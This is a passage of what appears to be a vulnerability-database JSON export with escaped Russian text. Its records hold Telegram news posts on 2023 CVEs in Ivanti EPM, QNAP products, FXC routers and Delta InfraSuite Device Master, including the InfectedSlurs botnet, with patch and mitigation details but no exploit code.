\u0441\u0442\u0430\u0440\u0448\u0435.\n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432, \u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f.\n\nIvanti \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e\u0431 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-39336 \u0432 Endpoint Manager (EPM).\n\n\u042d\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL-\u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u0438\u043c\u0435\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 Ivanti, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0430\u0433\u0435\u043d\u0442 EPM. \n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043a\u043e\u0433\u0434\u0430 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SQL Express, \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE \u043d\u0430 \u0433\u043b\u0430\u0432\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u043d\u043e \u0430\u0442\u0430\u043a\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f, \u043d\u0430 \u043a\u0430\u043a\u043e\u0439 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f.\n\n\u0422\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0430\u044f QNAP Systems\u00a0\u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u0434\u044e\u0436\u0438\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445, CVE-2023-39296, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430\u043c\u0438 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0442\u0438\u043f\u0430, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u042d\u0442\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 QTS 5.1.x \u0438 \u0432\u0435\u0440\u0441\u0438\u0438 QuTS Hero h5.1.x \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c QTS 5.1.3.2578 \u0441\u0431\u043e\u0440\u043a\u0438 20231110 \u0438 QuTS Hero h5.1.3.2578 \u0441\u0431\u043e\u0440\u043a\u0438 20231110.\n\n\u0412 \u0434\u0432\u0443\u0445 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 CVE-2022-43634, \u0434\u0435\u0444\u0435\u043a\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 Netatalk, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nQNAP \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Video Station \u2014 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL (CVE-2023-41287) \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 (CVE-2023-41288), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u0441\u0435\u0442\u0438.\u00a0\u0412 Video Station 5.7.2 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u043e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n\n\u0412 QuMagie 2.2.1 \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0435\u0449\u0435 \u0434\u0432\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e: CVE-2023-47559, XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438 CVE-2023-47560, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421.\n\nQNAP \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0434\u044b\u0440 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043d\u043e, \u043a\u0430\u043a \u043d\u0430\u043c \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.", "creation_timestamp": "2024-01-09T15:00:07.000000Z"}, {"uuid": "f9f1a742-6d40-491e-a758-dbb471ca9897", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "https://t.me/true_secator/5210", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Akamai \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0431\u043e\u0442\u043d\u0435\u0442 \u043d\u0430 \u0431\u0430\u0437\u0435 Mirai \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c InfectedSlurs, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 QNAP VioStor NVR \u0438 \u043c\u0430\u0440\u0448\u0442\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 FXC.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u0432\u0443\u0445 0-day \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0432\u0438\u0434\u0435\u043e\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u043f\u043e\u043f\u0430\u043b\u0430 \u0432 \u043f\u043e\u043b\u0435 \u0437\u0440\u0435\u043d\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0435\u0449\u0435 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2023 \u0433\u043e\u0434\u0430.\n\n\u041f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 Akamai \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0434\u0432\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043e\u0442\u0447\u0435\u0442\u0430 (1,\u00a02), \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0432\u00a0\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439\u00a0\u0437\u0430 \u043a\u043e\u043d\u0435\u0446 \u043d\u043e\u044f\u0431\u0440\u044f.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f InfectedSlurs, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2023-49897 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Wi-Fi-\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u044b FXC AE1021 \u0438 AE1021PE.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u00a0\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00a06 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2023 \u0441 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0433\u043e \u041f\u041e 2.0.10, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043f\u043e\u043c\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u0431\u0440\u043e\u0441 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0434\u043e \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0438\u0445 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0441 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u0440\u043e\u043b\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0414\u0440\u0443\u0433\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0431\u043e\u0442\u043d\u0435\u0442\u0430 \u2014 CVE-2023-47565, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0432\u0438\u0434\u0435\u043e\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 QNAP VioStor NVR \u0441 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u043e\u0439 QVR 4.x \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421.\n\nQNAP \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044e\u00a07 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2023, \u043f\u043e\u044f\u0441\u043d\u0438\u0432, \u0447\u0442\u043e \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 QVR 5.x \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0442\u0430\u043a\u0436\u0435 \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0430 QVR \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043d\u0435\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0432\u0435\u0440\u0441\u0438\u044f 5.0.0 \u0431\u044b\u043b\u0430 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u0430 \u043f\u043e\u0447\u0442\u0438 \u0434\u0435\u0441\u044f\u0442\u044c \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 VioStor NVR, \u0441\u0440\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u0435\u043a, \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0445 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u044b\u0435, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438.", "creation_timestamp": "2023-12-18T12:17:45.000000Z"}, {"uuid": "d76584eb-eaac-496f-afa3-791faeedc2f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47279", "type": "seen", "source": "https://t.me/true_secator/5187", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 InfraSuite Device Master \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Delta OT \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nInfraSuite Device Master \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u041f\u041e \u0434\u043b\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0426\u041e\u0414, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043f\u0438\u0442\u0430\u043d\u0438\u044f \u0438 \u043e\u0445\u043b\u0430\u0436\u0434\u0435\u043d\u0438\u044f, \u0434\u0430\u0442\u0447\u0438\u043a\u0438 \u0438 ICS.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u041f\u0435\u0442\u0440\u043e\u043c \u0411\u0430\u0437\u044b\u0434\u043b\u043e \u0438 \u041d\u0433\u0443\u0435\u043d\u043e\u043c \u0414\u0438\u043d\u044c \u0425\u043e\u0430\u043d\u0433 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 Trend Micro Zero Day Initiative, \u043e \u0447\u0435\u043c 18 \u0438\u044e\u043b\u044f \u0438 24 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0443.\n\n\u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0447\u0435\u0442\u044b\u0440\u0435 \u0442\u0438\u043f\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0443\u043c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0448\u0438\u0431\u043a\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2023-47279 (CVSS 7.5), CVE-2023-46690 (CVSS 8.8) CVE-2023-39226 (CVSS 9.8) \u0438 CVE-2023-47207 (CVSS 9.8).\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0434\u044b\u0440\u044b \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u043c\u0435\u044e\u0449\u0438\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0432\u0438\u0434\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0434\u043d\u0430 \u0438\u0437 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 